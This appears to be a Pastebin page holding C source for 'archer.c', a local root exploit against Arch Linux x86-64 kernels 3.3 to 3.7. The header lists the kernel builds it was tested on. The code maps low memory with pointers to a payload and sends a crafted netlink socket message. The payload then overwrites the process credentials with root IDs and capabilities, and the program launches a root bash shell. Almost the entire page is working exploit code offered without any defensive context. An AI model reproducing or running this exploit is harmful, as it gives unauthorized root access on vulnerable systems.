Guest User

Untitled

a guest
Feb 26th, 2013
3,063
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.64 KB | None | 0 0
  1. // archer.c
  2. //
  3. //
  4. // Works reliably against x86-64 3.3-3.7 arch.
  5. //
  6. // Tested against:
  7. //
  8. // Linux XXX 3.3.1-1-ARCH #1 SMP PREEMPT Tue Apr 3 06:46:17 UTC 2012 x86_64 GNU/Linux
  9. // Linux XXX 3.4.7-1-ARCH #1 SMP PREEMPT Sun Jul 29 22:02:56 CEST 2012 x86_64 GNU/Linux
  10. // Linux XXX 3.7.4-1-ARCH #1 SMP PREEMPT Mon Jan 21 23:05:29 CET 2013 x86_64 GNU/Linux
  11. // ...
  12.  
  13. #include <assert.h>
  14.  
  15. #define JUMP    0x0000100000001000LL
  16. #define BASE    0x380000000
  17. #define SIZE    0x010000000
  18. #define KSIZE   0x2000000
  19.  
  20. static long ugid;
  21.  
  22. void patch_current() {
  23.         int i,j,k;
  24.         char *current = *(char**)(((long)&i) & (-8192));
  25.         long kbase = ((long)current)>>36;
  26.  
  27.         for (i=0; i<4000; i+=4) {
  28.                 long *p = (void *)&current[i];
  29.                 int *t = (void*) p[0];
  30.                 if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
  31.                 for (j=0; j<20; j++) {
  32.             for (k = 0; k < 8; k++)
  33.                             if (((int*)&ugid)[k%2] != t[j+k]) goto next;
  34.                         for (i = 0; i < 8; i++) t[j+i] = 0;
  35.                         for (i = 0; i < 10; i++) t[j+9+i] = -1;
  36.                         return;
  37. next:;          }
  38.         }
  39. }
  40.  
  41.  
  42. int main()
  43. {
  44.     long u = getuid();
  45.     long g = getgid();
  46.     int i, f = socket(16,3,4);
  47.     static int n[10] = {40,0x10014,0,0,45,-1};
  48.  
  49.     assert(mmap((void*)(1<<12), 1<<20, 3, 0x32, 0, 0)!=-1);
  50.  
  51.     setresuid(u,u,u); setresgid(g,g,g);
  52.     ugid = (g<<32)|u;
  53.  
  54.     memcpy(1<<12, &patch_current, 1024);
  55.     for (i = 0; i < (1<<17); i++) ((void**)(1<<12))[i] = &patch_current;
  56.     send(f, n, sizeof(n), 0);
  57.     setuid(0);
  58.     return execl("/bin/bash", "-sh", 0);
  59. }
Advertisement
Add Comment
Please, Sign In to add comment